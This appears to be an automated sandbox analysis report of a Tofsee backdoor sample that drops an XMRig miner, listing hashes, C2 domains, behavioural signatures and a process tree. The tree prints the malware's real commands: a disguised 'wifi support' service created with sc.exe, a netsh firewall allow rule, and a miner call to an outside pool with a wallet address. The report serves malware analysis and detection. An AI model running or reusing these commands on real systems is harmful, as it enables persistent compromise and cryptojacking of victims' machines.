Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    08-03-2023 11:25

General

  • Target

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe

  • Size

    195KB

  • MD5

    e6633af95778725d06d9adc558c55040

  • SHA1

    3020a3b73ca13402a9bf25ffadd8fe85fa091148

  • SHA256

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e

  • SHA512

    55efc150e23b178ea53f4c3fe24ea4162c56037ad0b03a5817ec2d64401fd0d21fa07717f88abb7f96337f768fed55d3b5c54ccf8eb40002561ea47d9244af12

  • SSDEEP

    3072:gUHMJ/RMC7brSsy0ELqqWq54W22KjCp1dsLXDOQbVYC2:gEM1RD7b2sy0nnqwbjAeLXrbV2

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe
    "C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1360
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zwwqalis\
      2⤵
        PID:1124
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gwcjoaet.exe" C:\Windows\SysWOW64\zwwqalis\
        2⤵
          PID:332
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zwwqalis binPath= "C:\Windows\SysWOW64\zwwqalis\gwcjoaet.exe /d\"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zwwqalis "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zwwqalis
          2⤵
          • Launches sc.exe
          PID:464
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1688
      • C:\Windows\SysWOW64\zwwqalis\gwcjoaet.exe
        C:\Windows\SysWOW64\zwwqalis\gwcjoaet.exe /d"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1472

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\gwcjoaet.exe

        Filesize

        12.5MB

        MD5

        c3b4d21db4420a5b8f30c91ed3afa605

        SHA1

        c9fe62f1e1c24e512607032ec679f673a9900a97

        SHA256

        68ad61d78a87c51791338e0452ccbc8b08a8b8bc15a220b9fe5453f25d691f76

        SHA512

        47990fc685841601c84b30d42603c1992191e0d823c0cc74b4f27b2a5d890674c6d09612364e0704be29d715b19dfe05a47b32b264c119a68bc891b2497b1c59

      • C:\Windows\SysWOW64\zwwqalis\gwcjoaet.exe

        Filesize

        12.5MB

        MD5

        c3b4d21db4420a5b8f30c91ed3afa605

        SHA1

        c9fe62f1e1c24e512607032ec679f673a9900a97

        SHA256

        68ad61d78a87c51791338e0452ccbc8b08a8b8bc15a220b9fe5453f25d691f76

        SHA512

        47990fc685841601c84b30d42603c1992191e0d823c0cc74b4f27b2a5d890674c6d09612364e0704be29d715b19dfe05a47b32b264c119a68bc891b2497b1c59

      • memory/868-66-0x0000000000400000-0x0000000000574000-memory.dmp

        Filesize

        1.5MB

      • memory/1360-56-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/1360-59-0x0000000000400000-0x0000000000574000-memory.dmp

        Filesize

        1.5MB

      • memory/1472-123-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1472-122-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1472-124-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1472-120-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1472-121-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1472-119-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1472-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1472-112-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1472-111-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

      • memory/1632-88-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-97-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-82-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-83-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-84-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-85-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-86-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-87-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-76-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/1632-89-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-90-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-91-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-92-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-93-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-94-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-95-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-96-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-79-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-98-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/1632-99-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/1632-102-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/1632-103-0x0000000005740000-0x0000000005B4B000-memory.dmp

        Filesize

        4.0MB

      • memory/1632-106-0x0000000005740000-0x0000000005B4B000-memory.dmp

        Filesize

        4.0MB

      • memory/1632-107-0x0000000000280000-0x0000000000287000-memory.dmp

        Filesize

        28KB

      • memory/1632-75-0x0000000001C20000-0x0000000001E2F000-memory.dmp

        Filesize

        2.1MB

      • memory/1632-72-0x0000000001C20000-0x0000000001E2F000-memory.dmp

        Filesize

        2.1MB

      • memory/1632-70-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1632-69-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1632-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1632-67-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1632-63-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1632-61-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1632-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB